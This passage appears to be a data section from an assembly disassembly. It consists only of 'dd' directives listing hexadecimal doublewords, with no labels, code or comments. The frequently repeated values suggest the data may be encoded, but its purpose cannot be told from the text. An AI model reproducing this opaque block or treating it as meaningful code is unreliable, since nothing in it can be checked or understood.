		dd 626A6EA8h, 534E07E8h, 407C0F2Ch, 32138FACh, 0A0736611h
		dd 0CB2EAAC8h, 3E38D3BBh, 20FC6036h, 0F156611h,	5B001F6Ch
		dd 1F66EBD9h, 51B0A5F6h, 3FAE6772h, 0B7989AA8h,	34015D0Ah
		dd 321560CBh, 0DBF18B11h, 0CDE8E370h, 0CB750694h, 32018F43h
		dd 0EED76611h, 3D3D7A93h, 65966B00h, 0ADBA92Eh,	55F1D5F6h
		dd 0BB746E06h, 260EEFC1h, 0B3730624h, 0CBCCFAF3h, 0B7D39AE9h
		dd 34016E0Dh, 6C7D9A61h, 3D89017Ah, 3215410Ch, 3CFD0644h
		dd 99156622h, 950172C2h, 2548454Eh, 9300070Ah, 3EFC3F99h
		dd 1156611h, 2415327Eh,	7B9ECCE6h, 536A3995h, 3E38D3EEh
		dd 3D75609Ch, 321563C4h, 0C4FEDF22h, 53E972D9h,	95BE305h
		dd 3AFC6050h, 9C156622h, 0CF0E0DF9h, 0CD8327D5h, 321B8F94h
		dd 131E6622h, 21331F96h, 0B2AE58F3h, 0A076F8C2h, 9419E3ABh
		dd 0B41A600Ah, 32156689h, 7B90A0B1h, 6613722Ah,	3212EC1Eh
		dd 0B01A6688h, 32156645h, 5A3C0EDAh, 3D758873h,	32156B09h
		dd 32128E44h, 0D8F56622h, 2F6D2529h, 0CB9E3E3Dh, 3A966925h
		dd 3D156622h, 3215649Bh, 0CD740688h, 26194BF1h,	3A976924h
		dd 3D156611h, 3215640Dh, 0BF740644h, 262E28A7h,	3F9A6917h
		dd 0DB156688h, 3215664Ch, 0D9CF81FBh, 85E0E7E2h, 34FCB677h
		dd 0E0156644h, 0A866C2DAh, 2290EF19h, 0CE137D2Eh, 3A5CE382h
		dd 3D506036h, 32156E94h, 30966988h, 52156644h, 0AD70E43h
		dd 0BD1ABC71h, 32156682h, 3D4A3024h, 321566A4h,	87EA0711h
		dd 34016AA5h, 3202ED4Bh, 0DA756622h, 3215661Ch,	57548C33h
		dd 194F3224h, 58FD6A6h,	6D423FB8h, 32018FE9h, 7E9E6644h
		dd 0D814C68h, 0DD65B69Fh, 779B7CFEh, 3E4E036Eh,	0B79829B1h
		dd 34015D5Fh, 0CAC59971h, 2690EFB8h, 52137D84h,	3210E21Eh
		dd 0BEAB6688h, 3D27C393h, 0B174BC9Dh, 2614ABACh, 0B71A668Eh
		dd 32156776h, 32156BCBh, 0E537DC11h, 3FA6584Bh,	8FF4C4Ch
		dd 0B7D380FCh, 34016E58h, 279069CDh, 0DB156644h, 32156632h
		dd 348CDD6Ch, 14FB96EFh, 7671324Eh, 2887B6E2h, 126BE079h
		dd 0CDE99A72h, 26194BF1h, 32188F24h, 11C46611h,	4418EF5Eh
		dd 0DEC665ACh, 0BFDF3232h, 262E2894h, 0BE1A068Eh, 32156644h
		dd 0CE749AA8h, 20FCB6EEh, 56156688h, 19B717CBh,	0DA87384Eh
		dd 0FEA5004Eh, 6FF70C83h, 2A90EFC4h, 52137D84h,	0FE54DE77h
		dd 53CFEDEEh, 3A5CE382h, 3D596036h, 32156790h, 0F17D9388h
		dd 0CAF54094h, 321A8E42h, 54106611h, 2F959EB6h,	77F7A449h
		dd 9129D654h, 89C5E790h, 682037E9h, 3213EC4Bh, 0B41A6622h
		dd 32156611h, 1FA099E9h, 0DB137248h, 3215662Bh,	0C0EB7C97h
		dd 6D6FD26Bh, 7C90EB5Ch, 3D137219h, 32156790h, 0E2EA9F88h
		dd 2E90EFB1h, 52137D84h, 405F67AFh, 3F9469B9h, 0DB156644h
		dd 3215662Ah, 3A9B01F5h, 8235D49Dh, 33148F25h, 0DB756622h
		dd 3215661Fh, 0BAD8278Ah, 0AAC79779h, 6A0BED63h, 0B71A2AB3h
		dd 3215668Dh, 1BF180FFh, 0B7D30772h, 34016E58h,	0DBE006DAh
		dd 3215664Dh, 0C292546Ah, 2119BDDFh, 3F7D07B1h,	0CEA92CA0h
		dd 32BCD3DDh, 8A756005h, 1627DC07h, 0BF74B6CFh,	262E28A7h
		dd 321A8F17h, 4D8B6688h, 0A0AEC605h, 0BBBD4A1h,	0A242B1C7h
		dd 38996910h, 52156644h, 3215EB2Dh, 0EFA76611h,	52C599E9h
		dd 26FC34BDh, 0A7156622h, 58D85DD1h, 0D1CA4B9Ch, 0B350D917h
		dd 663E6C75h, 6DA09876h, 2A90EFE9h, 3D137DE2h, 321567A6h
		dd 0B7D39E11h, 34016EC1h, 7A7D9E16h, 3DB32A68h,	32156198h
		dd 339F6988h, 0CE156644h, 32BCD3DDh, 0B41A6005h, 32156691h
		dd 0F19E0024h, 321568CAh, 4818A311h, 0E9EE916h,	9643C308h
		dd 6B011023h, 7C90EB70h, 521372B3h, 897397CFh, 0CD7457F9h
		dd 0B79C93C1h, 340EC094h, 3214E04Bh, 0F4EC6622h, 261D2F94h
		dd 0B975348Eh, 309E69B6h, 52156622h, 0D87D0770h, 3DE8243Ch
		dd 321571CCh, 32078F22h, 5A636611h, 99EAAB8h, 270419AAh
		dd 43EE40F3h, 2766267h,	3E38D377h, 37FC6050h, 0D7156622h
		dd 0A17606Bh, 95BE305h,	0CDED6050h, 0B79C93F2h,	34014304h
		dd 321E8FE8h, 74586644h, 541EAED8h, 5E29CD85h, 0CC9E00D1h
		dd 3A9F6925h, 52156622h, 54CFD11Eh, 0F4749E03h,	261D2FC1h
		dd 5AEC1124h, 0C182CEB2h, 34FC0674h, 0C156644h,	9AFBFCA3h
		dd 0FCAA69A2h, 57A099E9h, 0CE13726Dh, 95BE3AFh,	34FC6005h
		dd 0C6156688h, 3CC3686Fh, 52C599B9h, 36CDE777h,	379E6965h
		dd 89156644h, 7E8A7CA6h, 4790EF70h, 52137299h, 321568ADh
		dd 460CFD22h, 0A70E6561h, 2ED2197Ch, 0CE656950h, 7B90A043h
		dd 60137219h, 0FAC4E7E8h, 3D3B3DA1h, 5A749E9Dh,	0B8C85706h
		dd 3214E887h, 0CEE96644h, 3E38D3DDh, 0B9756005h, 32138F50h
		dd 41716644h, 0DCEC9F8h, 7C90EB70h, 521372B3h, 32198F17h
		dd 589F6622h, 0A252475Ah, 33ED9320h, 0B34FE606h, 0CCDACAC3h
		dd 0CDE00775h, 0B79C9E58h, 340178B1h, 32156ACBh, 45491611h
		dd 4B99D138h, 6141469h,	7B90A063h, 64137219h, 321B8EE8h
		dd 0BF696644h, 0BA0F46DEh, 7A104A21h, 997E3EC5h, 0B3733DB1h
		dd 53B356D2h, 2D785F79h, 2294695Ch, 0DB156644h,	32156629h
		dd 52EE6140h, 0DBC5FB02h, 0CD21F058h, 26390397h, 0B7989E17h
		dd 34021E76h, 0C19E0024h, 0E2EA07DEh, 32068F71h, 0B5AB6688h
		dd 2C4A3688h, 0BA767AE6h, 0C7CB272h, 7059C511h,	0F39E0059h
		dd 1390EF43h, 0CA13721Dh, 3A5CE34Eh, 52526050h,	8AE5E744h
		dd 0C89E00EDh, 226F0EE9h, 3BFCE798h, 4D156622h,	0E857C576h
		dd 7EAF4CF0h, 3E38D3BBh, 0BFE06036h, 262E2894h,	3A96698Eh
		dd 3D156644h, 321564AEh, 0CD740611h, 32138F58h,	639D6644h
		dd 0ABC458D3h, 0E390EFEDh, 3D1372ABh, 321568C0h, 0B41A0622h
		dd 32156611h
		dd 9C388509h, 0F4747BBDh, 261D2FA7h, 3DEC2117h,	32157F0Ah
		dd 32018F44h, 66656622h, 9C3F42FBh, 0E0BA169h, 392320D5h
		dd 0BF99CDE6h, 0D07D7B1Dh, 3D9F693Dh, 321560CEh, 3EA50622h
		dd 0DB743941h, 32156680h, 0D84B928Ah, 50CEF234h, 3E38D3EEh
		dd 0B01A609Ch, 32156650h, 321569CBh, 0A9198511h, 0BFEAC51Ah
		dd 36072D09h, 330750EDh, 95BE39Ch, 0CE75609Ch, 3DC59925h
		dd 321567ACh, 0B79C9F11h, 340EC0B4h, 33926924h,	0CB156622h
		dd 8F90A170h, 4A1372A7h, 3D156644h, 321567AAh, 0B1E09E11h
		dd 261AEF35h, 0B61A6642h, 32157E83h, 32156CF8h,	61C54188h
		dd 0ADDEDF5Eh, 0C75AE2BAh, 3A5CE3D7h, 0CA59609Ch, 0E8098F2Ch
		dd 87EA9EFBh, 34016A3Ch, 3219E987h, 35FC6644h, 90156622h
		dd 371891Fh, 0B7981F89h, 34015D0Ah, 3212E22Dh, 0B71A6611h
		dd 32156689h, 0CBC599B8h, 943DE3ABh, 0B21A600Ah, 32156689h
		dd 7B90A0B1h, 7E13722Ah, 0B41A9371h, 3215668Ah,	5A740724h
		dd 0EF61B8ECh, 32AD0071h, 321B8E99h, 2DC16644h,	217CD5F8h
		dd 6A237375h, 4718A8C2h, 6AC7D94Bh, 1FA09943h, 0DB13721Dh
		dd 3215668Fh, 2AA2BA7Ah, 0BFE6CCD8h, 262E2894h,	22FC068Eh
		dd 53156644h, 0E2ED082Ah, 18043CABh, 868C0F01h,	3D0D082Ch
		dd 321564A5h, 53CBED11h, 37FCB677h, 0FA156644h,	733A11D3h
		dd 9439E398h, 3FFC6093h, 1B156644h, 9A6800E0h, 0B06BEE69h
		dd 0F5943346h, 3A5CE382h, 52596036h, 3DD4ED77h,	3215670Bh
		dd 5A749344h, 8594E41Dh, 32156FF8h, 775EC888h, 0B2C3DEC1h
		dd 87EAE169h, 34016A3Ch, 32138F71h, 5AD86644h, 62A96893h
		dd 95BE39Ch, 0B71A609Ch, 32156640h, 53EC9F42h, 0DBECB6EEh
		dd 3215669Bh, 8945EEFEh, 4B5F9340h, 50F40592h, 9208231Bh
		dd 0BBD5A8C3h, 29B356A7h, 0B7D39F17h, 34016EC1h, 339E6908h
		dd 0CA156622h, 720D0EE8h, 8A75D5A7h, 9B49AD3h, 0CD744E97h
		dd 26194BA4h, 0B7989A8Eh, 34015D0Ah, 0DBC599DAh, 3215661Bh
		dd 4D93F57Dh, 1CA0E0FDh, 0B79C6CE9h, 340EC021h,	32156D61h
		dd 8F02B444h, 9C16F36Ah, 6A123C9h, 32156861h, 56598B44h
		dd 7BFACFDEh, 0F6475592h, 0F455F058h, 261D2FC1h, 20FC2024h
		dd 6A156611h, 0BE5B8E93h, 0F1D9EE62h, 0FDDDF83Fh, 0EEFA10BBh
		dd 34010E7Eh, 5275DC9Ah, 0BD1AD291h, 32156611h,	32138FE9h
		dd 2E2E6644h, 176F9C6Ah, 87EA9F70h, 34016AA5h, 7C90EBB8h
		dd 0C7137219h, 3D75B6EEh, 32156902h, 321F8F44h,	1EAC6622h
		dd 7D5C754Dh, 7C251C7Fh, 55AB96FBh, 0B79C076Dh,	340EC029h
		dd 0EDA30671h, 53CCD94Bh, 3A5CE3E4h, 3D526005h,	32156A0Bh
		dd 34946944h, 3D156622h, 32156697h, 487D9A88h, 5294BA54h
		dd 2CDAE744h, 0B373356Fh, 68C49951h, 1FA09925h,	5213722Eh
		dd 0D2AEB090h, 53ED7C2Ah, 95BE3C9h, 0B3756036h,	61F56CF0h
		dd 309E6997h, 64156644h, 0BD1A077Bh, 32156616h,	3214EA87h
		dd 0CDE96644h, 0B61A06F2h, 32156611h, 53DB8708h, 9455E3CDh
		dd 39FC6039h, 46156611h, 6C49EF7Fh, 5955E106h, 0B7D367D1h
		dd 34016E58h, 32058FCFh, 7FDF6644h, 999EBAF0h, 7A6BE894h
		dd 0E85A9014h, 9E7DC407h, 3DFAE1ACh, 32157F95h,	53750688h
		dd 321576ADh, 18921A22h, 8DE29C3Eh, 0A3D82691h,	1AA0D621h
		dd 87EA070Ch, 34016A3Ch, 0E29400E8h, 0DB43DC76h, 32156629h
		dd 0C8315C49h, 0B1EA1F96h, 6A11CE8Dh, 7C90EB43h, 3D13722Ah
		dd 3215670Ch, 0E2EA9344h, 3AFC9342h, 7B156611h,	0E5F1017h
		dd 533E7759h, 9451E3ABh, 0B375600Ah, 0FC94E56Fh, 0EB9E0002h
		dd 7B90A043h, 75137219h, 95C70E7Dh, 26FCB2DEh, 156622h
		dd 0F15DADA5h, 497AE431h, 3228B75Eh, 0F1A2EBBBh, 0CD906BCFh
		dd 26194B3Dh, 33966942h, 0CA156622h, 7C90EBEDh,	3D1372B3h
		dd 321561CAh, 33986922h, 0CB156611h, 0CA75B677h, 0B79C07B1h
		dd 340EC06Ah, 53D3ED71h, 3A5CE34Eh, 0DB526050h,	3215662Ch
		dd 0A67AB34Ch, 0D47407AAh, 1907B604h, 367D8A1Eh, 0DBAFA728h
		dd 3215668Eh, 0D6EF0C97h, 87EAAB6Eh, 34016A3Ch,	32068F70h
		dd 1B806644h, 280C2FC7h, 70F86936h, 5883D3Ch, 0F146BC6h
		dd 7C90EBD2h, 0DB13722Ah, 32156681h, 0CDFF3757h, 54DCEFE8h
		dd 52C5995Bh, 4C593731h, 0B79C0758h, 340EC06Eh,	321563F8h
		dd 0FC53BF88h, 8F963915h, 3401647Bh, 4E906911h,	0C7156688h
		dd 3A5CE382h, 0DB526036h, 32156618h, 0F85B98B6h, 0B9E16776h
		dd 1F720E81h, 34FC8663h, 0FB156688h, 8EE0E24Ah,	0B37306C3h
		dd 539E85CAh, 3E38D377h, 54756050h, 36DC8DA3h, 0F4EDDD71h
		dd 0CA9E3B24h, 0B7980725h, 34015D6Ch, 32198F71h, 64266688h
		dd 0EBDE55CEh, 8E4E53EDh, 0DA47337Eh, 3215668Fh, 68807F1Eh
		dd 6CC32220h, 0E2EA074Eh, 0B79C9F7Dh, 340EC014h, 3214EF2Dh
		dd 0F4EC6611h, 261D2F0Dh, 5AE02142h, 0BC3CD593h, 6568DC71h
		dd 3AFC4482h, 17156644h, 0E4C48323h, 53E860EEh,	1FA09974h
		dd 0DB137248h, 32156628h, 9BDB0877h, 0BC4CDC91h, 38FC148Eh
		dd 3F156622h, 0B99AF86Bh, 64B02AB4h, 7C90EBE0h,	0CA137219h
		dd 32048F71h, 0A22F6688h, 0C1B56F21h, 0A08FFB06h, 875A317Dh
		dd 87E2D0A5h, 0E2EA0780h, 6BAD0042h, 32138F61h,	2B4A6688h
		dd 0FC3905E4h, 6690EF43h, 0DB137DB7h, 32156687h, 8E90E767h
		dd 0E2F0A0B3h, 6AD45290h, 0F4ADB7E7h, 261D2FC1h, 23FC2524h
		dd 0D8156611h, 0C0CA9024h, 47A497DEh, 0D8FE75B4h, 8AD33C00h
		dd 3212E987h, 0B61A6644h, 32156623h, 78B20EE8h,	23FCA6FEh
		dd 0F8156644h, 0CAE1A6AAh, 0BFE82D77h, 6E21905Bh, 974EFA5Fh
		dd 32156ECBh, 13230A11h, 8DF0C9CCh, 1FA099E3h, 5213722Eh
		dd 0ED02DD77h, 533B8708h, 95BE3C9h, 0B3756036h,	10D62BD9h
		dd 0E2EA07E1h, 321572ADh, 87D68222h, 0C4681AA8h, 2053D326h
		dd 8AF78175h, 598F8ADFh, 6A90EFFCh, 0C7137D2Eh,	3A5CE382h
		dd 0DB596036h, 3215661Ah, 9E01EDAFh, 8E4B88BCh,	5A638822h
		dd 0C9730AFAh, 379069E8h, 54156644h, 0B1DC95A3h, 0D978D977h
		dd 57A099E9h, 5213726Dh, 32156FCAh, 0B6CD1111h,	0C4B0687h
		dd 22FCAA64h, 0A1156622h, 50AF2E4Dh, 0E63EEC76h, 0C30BA4F5h
		dd 68C0E16Fh, 53AC8D91h, 95BE305h, 0DB756050h, 32156636h
		dd 0ECFDED3Ah, 4D6444CCh, 614B29FEh, 0E79995AAh, 5747DC89h
		dd 53D5D187h, 8275B6BBh, 319B69DCh, 54156611h, 0BB749503h
		dd 29B38AC1h, 27936924h, 0DB156611h, 32156698h,	5BF718ACh
		dd 0DE09998Eh, 0C0AA2C1Ah, 95DB2232h, 3A5CE382h, 0CB516036h
		dd 419B3379h, 87EA9F33h, 34016A69h, 32078F42h, 4D96611h
		dd 0F1B5DFC9h, 67DF65D5h, 0E6E58BC7h, 89C5B9B5h, 32157260h
		dd 4002F744h, 36A133B1h, 0BB8640E8h, 0D09B47A8h, 1C2859DDh
		dd 32078FA1h, 9CAD6611h, 79FDE88Fh, 912CB36Bh, 9284680Eh
		dd 0D5A9F57Ah, 0B79807D2h, 34015D0Ah, 3212E92Dh, 0B31A6611h
		dd 32156689h, 0CAC599B8h, 9449E3ABh, 0F4E0600Ah, 261D2F0Dh
		dd 5AEC2542h, 8E9B08DEh, 1FA099E4h, 0DB137284h,	32156650h
		dd 429DBCD0h, 4EE49926h, 590015FDh, 0D4974072h,	58C56EC1h
		dd 95BE39Ch, 0DB75609Ch, 3215664Eh, 1A31864Eh, 49B289D6h
		dd 0B01A729Ah, 32156646h, 0CD74C194h, 0B79C93C1h, 340EC0E8h
		dd 7B90A0BDh, 6113722Ah, 0CBF0EEDh, 38FCA098h, 29156644h
		dd 0EB9C5C65h, 3642CD7Ch
		dd 1FA099FAh, 52137248h, 321575CBh, 791B6011h, 0FE42256Dh
		dd 0ADC7C4h, 0A35F7B35h, 9BCFFBF5h, 8C9CDEEEh, 7C90EB25h
		dd 3D137219h, 3215719Dh, 32078F88h, 9F0A6644h, 1589C118h
		dd 7ADBF980h, 48C697C4h, 700AAAA0h, 0B375B6DDh,	9A6265C0h
		dd 3DFC06D2h, 1C156644h, 9CF45160h, 6050207Fh, 0A3275C5Eh
		dd 53E9F338h, 5690EF43h, 0DB137DB7h, 3215669Bh,	0C8A105ECh
		dd 2428512Ch, 65BC32D4h, 1E4C6E6Ah, 0B1D20038h,	2603779Fh
		dd 0B61A6617h, 321565ABh, 7B90A0BDh, 7413722Ah,	0FC240EEDh
		dd 0B3759C1Eh, 0DC021BA3h, 30996951h, 87156611h, 5475070Fh
		dd 38D7A5C5h, 0CD74A5A8h, 26194BA4h, 0B798938Eh, 34015D0Ah
		dd 0B51A06DEh, 32156611h, 441CAE09h, 0CD740ED8h, 0B79C9FF2h
		dd 340EC0D1h, 3214E187h, 52ED6644h, 4E08A1A3h, 0EC947570h
		dd 11543661h, 7B90A025h, 7413722Ah, 0B3733571h,	69630067h
		dd 0F7EAF3FEh, 0B21A0725h, 3215660Bh, 32068FE8h, 0C2F16644h
		dd 0E22F3A67h, 0C4E4FF5Dh, 45D9DAC2h, 594C37E4h, 0E47D07B8h
		dd 0C7E9C12Bh, 3E38D377h, 0BE1A6050h, 3215662Ah, 329D6971h
		dd 53156688h, 0DBDEED24h, 32156624h, 99FE34A9h,	0BF743D2Dh
		dd 262E28C1h, 27956924h, 0DB156611h, 32156698h,	0AFEAF00h
		dd 353F49B8h, 0FF78F55Bh, 8E7DC4D4h, 3DFCB6BBh,	91156622h
		dd 9B1F8B16h, 0E6C43575h, 6A4CEAD3h, 0B79C3FF5h, 340EC0C1h
		dd 3204EE87h, 3EFC6644h, 15156622h, 0CAA14F73h,	0E1AC342Eh
		dd 0F4153B26h, 261D2FA7h, 54752017h, 5ECAB509h,	96150E25h
		dd 0B71AF4DEh, 3215661Fh, 32156F61h, 3FA2744h, 0E5B96798h
		dd 87EA854Ch, 34016AA5h, 0CBE3D124h, 7C90EB43h,	5213722Ah
		dd 531ED770h, 39FCB6BBh, 89156622h, 21671E9h, 32D82FD9h
		dd 0B79C61CDh, 340EC0F6h, 0B01A3071h, 32156688h, 0B7D3071Dh
		dd 34016E6Bh, 8D1A0657h, 0B3733478h, 6CBB73B6h,	7D7F0E43h
		dd 0B11A90C5h, 32156685h, 32156EADh, 48297F22h,	0CF5DF306h
		dd 1FA09974h, 0DB137248h, 3215662Dh, 79798014h,	8046EE3Bh
		dd 0A180BE1Ah, 0BFFF6304h, 262E2894h, 32068F8Eh, 9E926644h
		dd 0BC5B1C7Fh, 0D857F560h, 87DD528Ah, 290F83F4h, 0CEC59980h
		dd 94CDE398h, 0DB756093h, 3215664Fh, 0C92DD5h, 81C5A102h
		dd 3D0B2AF7h, 0F474BEF3h, 261D2FA7h, 3D752017h,	3215670Eh
		dd 87479F44h, 5A743E5Ah, 0A6D836F6h, 1FA09970h,	0CA137248h
		dd 95BE3AFh, 3D756005h,	0DA439F3Fh, 3215664Dh, 3D91BE55h
		dd 122B3871h, 534D3F44h, 0B2D4ED24h, 0CD74BDF0h, 0B79C9AC1h
		dd 340EC04Ch, 32156AADh, 0BE9BA522h, 73F1A3F7h,	9B87FFD7h
		dd 7B90A091h, 7413722Ah, 462E0EE9h, 0CDE0D7AAh,	26194BF1h
		dd 0B7989324h, 34015D5Fh, 52C59974h, 4B23F1FAh,	97AC006Eh
		dd 0B79C07B7h, 340EC040h, 0B7D39AB8h, 34016E6Bh, 3DFC9E57h
		dd 0FD156688h, 0C35BC148h, 7DD9D23Fh, 0E291ADC1h, 0DF7D4E5Eh
		dd 3DCA1FAEh, 32157CAEh, 0DAE00611h, 32156699h,	0BA37C324h
		dd 43136D0Ah, 7AD8E78Ah, 0BC7EEB0Dh, 0CD743F00h, 26194B97h
		dd 0B01A9E17h, 32156684h, 3213E54Bh, 0BC1A6622h, 32156611h
		dd 95BE305h, 0CDEC6050h, 3FFC06F2h, 22156611h, 9213EE98h
		dd 44A5E92h, 884257C0h,	32156EF9h, 4FED9788h, 701294DEh
		dd 534F9F74h, 32156AF8h, 0E88CF188h, 5BC039A9h,	0C053F37Fh
		dd 0FE90EF0Ah, 52137D2Eh, 0B1749ABCh, 26173F9Fh, 0B71A6617h
		dd 321566D5h, 7B90A0B8h, 6113722Ah, 0D24B0EEDh,	0CDECA836h
		dd 26194BF1h, 339E6924h, 0C7156611h, 7C90EB70h,	5213727Fh
		dd 0C829DD44h, 0DBC59970h, 3215669Bh, 74EEBB58h, 95ABB2Ah
		dd 0E10BB203h, 6630DA91h, 5229EC0Dh, 3217E32Dh,	0ED9E6611h
		dd 64F5E7EEh, 0B79C07AFh, 340EC04Ah, 0E39E0071h, 7B90A0E9h
		dd 7513724Ch, 339E69DBh, 0C7156611h, 834BE1E0h,	0DB440683h
		dd 32156624h, 90431DBAh, 0DA4EF5E2h, 32156656h,	0F281E34Bh
		dd 0E46F7391h, 4864515Ah, 876F8CAEh, 0E495DDC8h, 0CD743C1Fh
		dd 26194B3Dh, 32018F42h, 8C286622h, 90AFEE45h, 9B3E56Eh
		dd 496E587Fh, 994BF1A4h, 0B7985F7Fh, 34015DC6h,	0F9AF0024h
		dd 32138F5Fh, 0EFAE6611h, 63DCDB8h, 3A976925h, 3D156622h
		dd 3215649Ch, 0CD740688h, 0B79C9394h, 340EC04Eh, 6BA8E5E8h
		dd 3213728Ah, 32BAE34Bh, 0B51A6622h, 32156619h,	54B7D3E8h
		dd 53AD73FCh, 321572CBh, 0EBA84811h, 37642E31h,	0CA2A88BFh
		dd 36A6E1A9h, 5CDD01DFh, 7B90A030h, 7513724Ch, 3212EC2Dh
		dd 54756611h, 0B78C8109h, 3BFC0625h, 0A4156622h, 24D8C9CDh
		dd 0AC223FDDh, 321574ADh, 616EF022h, 25946386h,	0E8075FEAh
		dd 30C8CB6Ch, 53C9067Fh, 506B6379h, 32128F6Eh, 68996644h
		dd 3E2F9651h, 1FA09931h, 0DB137284h, 32156641h,	0EEC4ED30h
		dd 7C90EBA1h, 521372B3h, 0FCDB30FBh, 32058F74h,	2B626611h
		dd 53B1D080h, 0DFA15A57h, 1669ECABh, 0CD74E785h, 0B79C9E58h
		dd 340EC034h, 7B90A0D7h, 71137219h, 3200E487h, 22FC6644h
		dd 2B156622h, 0E37B3535h, 592F7FA1h, 56E28F09h,	5A88A0DBh
		dd 0A06F6FE7h, 32156161h, 0FBE4A444h, 0D94CB75Ch, 3E38D3EEh
		dd 3EFC609Ch, 0C1156644h, 581374EFh, 82A1078Eh,	0BF507FE2h
		dd 262E28C1h, 32108F24h, 0BA316611h, 0CDA3A7E2h, 22936994h
		dd 0DB156622h, 3215661Ah, 4B711178h, 0A8EA5CD1h, 0BB13325Eh
		dd 29B31294h, 219B698Eh, 0DB156644h, 3215662Ch,	4F00B3F2h
		dd 3ED018DDh, 0C459B111h, 0B7D3A89Dh, 34016E58h, 3E9869CBh
		dd 3D156644h, 321560A3h, 32916911h, 5A156688h, 0CE34F164h
		dd 3205E42Dh, 39FC6611h, 9B156688h, 7F9D85h, 1BC1C5C3h
		dd 87EAC397h, 34016AA5h, 321DE04Bh, 0B71A6622h,	32156613h
		dd 0B79807E8h, 34015D0Ah, 32058F42h, 8AC6611h, 0D75C5F03h
		dd 0C78D80EDh, 2802AF4Ah, 22FC94E4h, 8C156688h,	42D9C12Eh
		dd 7C62BC09h, 77F89E10h, 53B9167Fh, 23FCB6BBh, 19156622h
		dd 0F98AD277h, 0D685759Dh, 0A0419E26h, 21B3CD74h, 946DE398h
		dd 0B1E06093h, 26173FF9h, 0B71A6624h, 3215672Fh, 0DAEEEDE8h
		dd 3215664Bh, 0FF39234h, 5A98569Eh, 59A243F9h, 52E32E4Ch
		dd 52743C43h, 6AC1DCEDh, 0F4744D6Fh, 261D2FC1h,	3D752524h
		dd 32156590h, 0CC9E0088h, 0E1D2E722h, 317D0766h, 529E66B9h
		dd 0AA97B109h, 0CD744954h, 26194B97h, 0C0940617h, 53BB9E1Eh
		dd 3215E74Bh, 0BF746622h, 262E2894h, 0E2EA9E8Eh, 3208EF4Bh
		dd 54756622h, 0DBEC7BAEh, 3215669Ah, 0EB817A03h, 0A663E720h
		dd 2A2DEF6Ah, 0D2DC4DDDh, 0BB745F1Fh, 29B3E6A7h, 3A956917h
		dd 3D156688h, 321564C3h, 52740622h, 32138F71h, 0D60D6688h
		dd 0C9B232Eh, 3215EC2Dh, 3D746611h, 32156704h, 0F4749A44h
		dd 261D2FA7h, 3AFC2517h, 9C156688h, 0CF0E0DACh,	5283277Fh
		dd 3216E31Eh, 0B9736688h, 0E77D0793h, 0DBF03D14h, 3215661Ch
		dd 0EBF7284Eh, 3B0B6CD4h, 474F80A9h, 1FA09970h,	0C7137284h
		dd 95BE3C9h, 54756036h,	0BCFBB690h, 6DD0DCEEh, 321F8F25h
		dd 0EF46622h, 0ED749F3h, 28176E5Dh, 0B975B6BBh,	39FC06E3h
		dd 82156611h, 17835964h, 0F383E5D2h, 0B5AB3F08h, 53020CD3h
		dd 4E90EFE9h, 3D137DE2h, 321567A2h, 0B7D39F11h,	34016EC1h
		dd 0B9730607h, 32068FEDh, 60D46611h, 0DBC28E52h, 6BD71C5Dh
		dd 0B8772864h, 9361BE96h
		dd 0D37D07ECh, 52FFCC76h, 0CFCCE742h, 0DB5A8772h, 3215669Bh
		dd 1BFDC84h, 4165E249h,	0B83CDB7h, 0DB8221A6h, 53536B9Dh
		dd 32156ACAh, 626B8011h, 0AA199419h, 0ADA90D2Fh, 5FAA0061h
		dd 0DB743800h, 3215669Bh, 0B4331474h, 0F2997676h, 1E9017D9h
		dd 938F6400h, 0CD6827D6h, 26194B97h, 0D2940617h, 160FC822h
		dd 321563ADh, 0F4362722h, 0BF74F886h, 262E280Dh, 37996942h
		dd 52156622h, 534D30E8h, 5475B677h, 3DCF05FCh, 0BB74B49Dh
		dd 29B3E294h, 2E9B698Eh, 52156644h, 21FC85A8h, 29156611h
		dd 4CD0F1Eh, 9B739061h,	17FAD303h, 499873B4h, 0F474BB68h
		dd 261D2FC1h, 61752524h, 3215E91Eh, 0B34F6688h,	1005382h
		dd 57D0703h, 529197BDh,	3D7406E8h, 321566C0h, 0CD740722h
		dd 26194BA4h, 0B798938Eh, 34015D0Ah, 320CEA2Dh,	0B71A6611h
		dd 3215669Bh, 321568ADh, 600CF722h, 66DB9553h, 5E329790h
		dd 0CD268DDEh, 321F8FF2h, 0F2B6611h, 8155191Fh,	1479D5ABh
		dd 949DE3ABh, 3BFC600Ah, 0F8156688h, 0CD6F3204h, 88BA75F8h
		dd 3A5CE3D7h, 525A609Ch, 0C0AA69B1h, 0A2C10E43h, 3FFCF124h
		dd 0D0156688h, 446CD157h, 3F391E9Eh, 0F92E70EAh, 3E38D377h
		dd 0DB756050h, 32156628h, 0FAB96268h, 5F5CD7B5h, 0EC9ED21Fh
		dd 7C90EB43h, 5213722Ah, 329969E8h, 53156644h, 0CD743C75h
		dd 229569C1h, 52156688h, 32156FADh, 9321C722h, 0E872CB5h
		dd 0BB74BE8Dh, 29B3EAC1h, 0B7D39F24h, 34016E58h, 0F59506C7h
		dd 321F8EFEh, 0D2F86622h, 0F8DF100Eh, 17AD9C1Eh, 97DAE722h
		dd 5A743D2Ah, 0CB7B6813h, 32156C61h, 273B3144h,	0EF3B895Ah
		dd 0CD07F914h, 26194B3Dh, 0B7989F42h, 34015D6Ch, 3201EC1Eh
		dd 3DFC6688h, 86156644h, 89381ED1h, 0A9FAAD78h,	3AD5AA9Fh
		dd 0E2EA1E43h, 3214EA2Dh, 0BBEC6611h, 29B3F60Dh, 35946942h
		dd 3D156622h, 32156797h, 0B7D39A88h, 34016E0Dh,	54759E6Fh
		dd 0BE1AB09Ah, 3215668Dh, 99E5E722h, 7B7D07E4h,	0C7DD5168h
		dd 3E38D377h, 23FC6050h, 50156622h, 0B3922C1h, 0F66236FCh
		dd 0F2A8B9A3h, 67773DF1h, 95BE39Ch, 0DBE0609Ch,	32156648h
		dd 0D86692EBh, 2EE08278h, 0D503296Ah, 0BBE9B6BBh, 29B3FEA7h
		dd 0B7D39A17h, 34016EC1h, 39946909h, 52156622h,	3DEBED77h
		dd 32156603h, 0BB7D0744h, 3DC9916Fh, 3215679Ch,	87EA9F88h
		dd 34016A69h, 0EA9E0042h, 0AE3BD977h, 7C90EBE9h, 3D13727Fh
		dd 321567AEh, 0E2EA9A11h, 0A690EF71h, 52137DE2h, 0F4749DA9h
		dd 261D2F94h, 5AE0338Eh, 0AE0E4B73h, 321DE22Dh,	0BE1A6611h
		dd 3215668Ah, 87EA0724h, 34016A0Fh, 53CCED71h, 95BE305h
		dd 0B81A6050h, 3215662Dh, 32156CF8h, 33F8FA88h,	0BA7E259h
